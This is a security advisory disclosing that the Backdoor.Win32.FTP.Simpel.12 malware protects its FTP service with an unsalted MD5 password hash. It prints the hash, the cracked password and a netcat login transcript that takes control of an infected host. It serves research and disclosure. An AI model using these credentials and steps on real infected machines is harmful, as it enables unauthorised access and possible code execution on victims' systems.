Backdoor.Win32.FTP.Simpel.12 Insecure Crypto Implementation

Backdoor.Win32.FTP.Simpel.12 malware uses MD5 with no salt for password storage.

MD5 | 60cb7770471dce0b613f578b6ee420db

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.FTP.Simpel.12
Vulnerability: Insecure Crypto
Description: The malware listens on TCP port 22, authentication is required to access the server. However, the password hash "!supernova" is stored within the executable using an insecure MD5 hash algorithm and no salt. MD5 is a basic purpose fast hash (not slow) and not using salt allows attackers that gain access to the hash ability to conduct faster cracking attacks using pre-computed dictionaries. Finally, the password is easily recovered as it is a known password hash which can be found online. Third-party intruders who successfully gain access then may be able to upload executables which may result in remote code execution.


Pass=E13820BEDF2B31E01B2C7E59404B1FB7 = !supernova

Type: PE32
MD5: 1d12f9b921b38d7b521f12442bdd52d8
Vuln ID: MVID-2021-0433
Disclosure: 12/27/2021

nc64.exe x.x.x.x 22

331 Password required for cRaCkeN.
PASS !supernova
230- [LOGIN]
230- [SYSTEM]
230- Aktiv seit : 1 d, 7 h, 41 min, 57 sec
230- [SERVER]
230- Server ist aktiv seit : 28 min, 44 sec
230- Server ist aktiv als : Victim
230- Traffic (Up/Down) : 0.00/0.00 MB
230- Geschw. (Up/Down) : 0/0 KB/sec.
230- Bester Speed (Up/Down): 0/0 KB/sec.
230- Durchschnitsspeed : 0 KB/sec. genutzt. ││
230- ││ SpaceFree : 26197.29 MB ││
230- ││ Benutzer derzeit : 1 von Max. 100 ││
230- ││ ││
230- │├──────────────────────────────[USER]───────────────────────────────┤│
230- ││ ││
230- ││ Willkommen : cRaCkeN
230- Sie sind User : 0 von max. 0 mit ihrem Account
230- Ratio : 1:-1 (Credits: 15 MB)
230- Ihre IP ist :
230 User cRaCkeN logged in.
215 215 UNIX Type: L8
257 Directory created

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

Related Posts